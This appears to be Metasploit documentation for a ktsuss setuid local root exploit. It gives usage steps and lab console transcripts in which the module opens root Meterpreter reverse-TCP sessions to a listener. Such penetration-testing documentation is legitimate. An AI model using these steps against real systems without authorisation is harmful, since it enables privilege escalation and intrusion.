## Description This module attempts to gain root privileges by exploiting a vulnerability in ktsuss versions 1.4 and prior. The `ktsuss` executable is setuid `root` and does not drop privileges prior to executing user specified commands, resulting in command execution with `root` privileges. ## Vulnerable Application This module has been tested successfully on: * ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64) * ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64) ## Verification Steps 1. Start `msfconsole` 2. Get a session 3. `use exploit/linux/local/ktsuss_suid_priv_esc` 4. `set SESSION [SESSION]` 5. `check` 6. `run` 7. You should get a new *root* session ## Options **KTSUSS_PATH** Path to `ktsuss` executable (default: `/usr/bin/ktsuss`) **WritableDir** A writable directory file system path. (default: `/tmp`) ## Scenarios ### ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64) ``` msf5 > use exploit/linux/local/ktsuss_suid_priv_esc msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set session 1 session => 1 msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set verbose true verbose => true msf5 exploit(linux/local/ktsuss_suid_priv_esc) > check [+] /usr/bin/ktsuss is setuid [*] uid=1001(test) gid=1001(test) euid=0(root) groups=1001(test) [+] The target is vulnerable. msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set lhost 172.16.191.165 lhost => 172.16.191.165 msf5 exploit(linux/local/ktsuss_suid_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [+] /usr/bin/ktsuss is setuid [*] uid=1001(test) gid=1001(test) euid=0(root) groups=1001(test) [*] Writing '/tmp/.lBanpIYpAJ60cwt' (389 bytes) ... [*] Executing payload ... [*] Transmitting intermediate stager...(126 bytes) [*] Sending stage (3021284 bytes) to 172.16.191.137 [*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.137:53060) at 2019-08-19 09:18:29 -0400 meterpreter > getuid Server username: uid=0, gid=0, euid=0, egid=0 meterpreter > sysinfo Computer : 172.16.191.137 OS : Sparky 5.8 (Linux 4.19.0-5-amd64) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > ``` ### ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64) ``` msf5 > use exploit/linux/local/ktsuss_suid_priv_esc msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set session 1 session => 1 msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set verbose true verbose => true msf5 exploit(linux/local/ktsuss_suid_priv_esc) > check [+] /usr/bin/ktsuss is setuid [*] uid=1001(test) gid=1002(test) euid=0(root) groups=1002(test) [+] The target is vulnerable. msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set lhost 172.16.191.165 lhost => 172.16.191.165 msf5 exploit(linux/local/ktsuss_suid_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [+] /usr/bin/ktsuss is setuid [*] uid=1001(test) gid=1002(test) euid=0(root) groups=1002(test) [*] Writing '/tmp/.R0aTPpB8aHk' (389 bytes) ... [*] Executing payload ... [*] Transmitting intermediate stager...(126 bytes) [*] Sending stage (3021284 bytes) to 172.16.191.167 [*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.167:44534) at 2019-08-19 09:25:48 -0400 meterpreter > getuid Server username: uid=0, gid=0, euid=0, egid=0 meterpreter > sysinfo Computer : 172.16.191.167 OS : Sparky 6 (Linux 4.19.0-5-amd64) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > ```